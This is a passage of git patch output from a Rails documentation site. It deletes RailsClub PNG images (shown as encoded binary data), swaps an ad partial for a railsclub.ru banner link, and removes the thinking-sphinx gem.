zYNnp9-TLawW?3EmV#j2P)UEUM+K35o5)e;`u)WaCsOGhMmvgraSy9uV7S|F6eHJtg}{Y zAd`zUVs|WSgF-#|n-{?cB?IYq7(cW-nxrW;VCr(sC%pzGbEJ999?f6DM;^ZJSvg;} zsP&S;{YIg1BIa_qu}m8a>!m6mPa2-p!j9MFnib;R>aMO|8dMEteP|W=*$g^# z$jqf&f2YcJUlm`uon-B5zC?MJU)1C~e=ob78)0mMUDhaHTCYE1-9OJW^n8=p`v$o=u#WG{s$)+)q?U44QIBh2#?P-Vz8L{uOy30Ss2o~&H*>XHk< zloy8Lb=n>)pyz(Vs}kbkiOR@us4I8yPLP0|76LJ$rsWYguOWk4F!@&>mX<_{;TQA(lj~@q|$|mqFEV;g2dvp+&vX*h^|3 z<**H~kpc9{X0rscx#EtJM6?<3I;`wf{^T(FbSs8FmKx~#)%jR#q_QR)n%&b9+nx+5 z@OR6d8B&l2)o}pJFpPpTQiEK;y;b4qwm>hhS}Pf^5X%OW4;9JfuAsR&>)z|_Ti#e9 ziFm+dy5q|_j?$pdbG0H#?u73RWpayFadf8FGYJh}*>)Tt6R42azfyMDd6^2OzY&Rn z=7Va*yqntibzYAt=D5*32sf##`(k_i5FxRP9U~&#k*_gpT6plr(UEdZnu#xz!k_k- z#hJ&sn?_OLDR8HwnyX(I|88!LEUTVl!afZ3FRm_!Vm=6y$k4{ryk;=lhq3B;P3V@t z_b%vpdKDlv(?RBlD}MoBkT(=jXGugY4KA`X3m>An4u~(Bn zNMJ?}y`dShyx=0R{89vh1!;Iq!Tv|biK=FB;{c}c_axmZ?Jgx3RMBiBQp zq>aHhP(T3tqgf-d9h)WZgcLz1l_OXi%LsL_1VhXKaKQZJdrurPte}0)p|CVOmgUSN_D@WNFX;%AW=zZSWENE854Wa+ zBX7}Zi^eEctgSdd7-Wep^y)}u;uDMol;KxCMoG4yR&GY!tCS9bj@v;Va_~n%XW=38 zc;nWJ9Z`B<`tcv{0&kZECF=zuzo@@-n9|?61~-u+G`lWpTA`W7CSW+8fVQWviSn>8 zO_yz}`t{3=WZ%o|X{D5t{kI7&8NL zl&zYcmc-W0?$KhXs%kCQ_wd|^V2a=~l(sAN;?1qmFEb(!1>a`wkkM7mC+>TjVFRIO zM}=X9%|6U$Tk(Z=xHW7}2ErV|&W@%%5hrs@Zwb2tVX~FpXFEj`O=o@25`m$`CPHC) z_3flLaimp!sE@fl{`%Q5aT!0BXgm%elfOc|D9C2%d(Gg{8Uyy*#&nJJj~wYdil@d^ zPAg^ag8O2oxV*W-wCz3I2LQORyQ3q=n_-)gFx5~hund`sT2>!<$ gmb7?AbB*ddl+_Le_i*}M1)0O9yHhyVZp diff --git a/app/assets/images/railsclub/3.png b/app/assets/images/railsclub/3.png deleted file mode 100644 index 324903d73f71026ac348f71d31618a074e905774..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6270 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 diff --git a/app/views/static_docs/pages/show.html.haml b/app/views/static_docs/pages/show.html.haml index af7600a5..a51cef0a 100644 --- a/app/views/static_docs/pages/show.html.haml +++ b/app/views/static_docs/pages/show.html.haml @@ -1,6 +1,8 @@ - if @page && @page.path == 'index' #main_page_banner.well - = render "shared/rsya", limit: 2 + = link_to "http://railsclub.ru/", target: :_blank do + = image_tag "railsclub.png" + -# = render "shared/rsya", limit: 2 - cache ['v1', @page] do = @page.rendered_body(self) From ca6f5797f1ca8ac22b00ce422c40a2d8e465b669 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Mon, 29 Jun 2015 15:59:29 +0300 Subject: [PATCH 049/932] remove sphinx --- Gemfile | 2 +- Gemfile.lock | 10 ---------- 2 files changed, 1 insertion(+), 11 deletions(-) diff --git a/Gemfile b/Gemfile index f165a3e1..f822a22c 100644 --- a/Gemfile +++ b/Gemfile @@ -29,7 +29,7 @@ gem 'git', require: false group :development do gem 'quiet_assets' # Need for cap tasks for 3.2 branch - gem 'thinking-sphinx', require: false + # gem 'thinking-sphinx', require: false end group :development, :test do diff --git a/Gemfile.lock b/Gemfile.lock index a18ca902..c875240f 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -65,7 +65,6 @@ GEM highline (1.6.20) hike (1.2.3) i18n (0.6.11) - innertube (1.0.2) jquery-rails (3.1.1) railties (>= 3.0, < 5.0) thor (>= 0.14, < 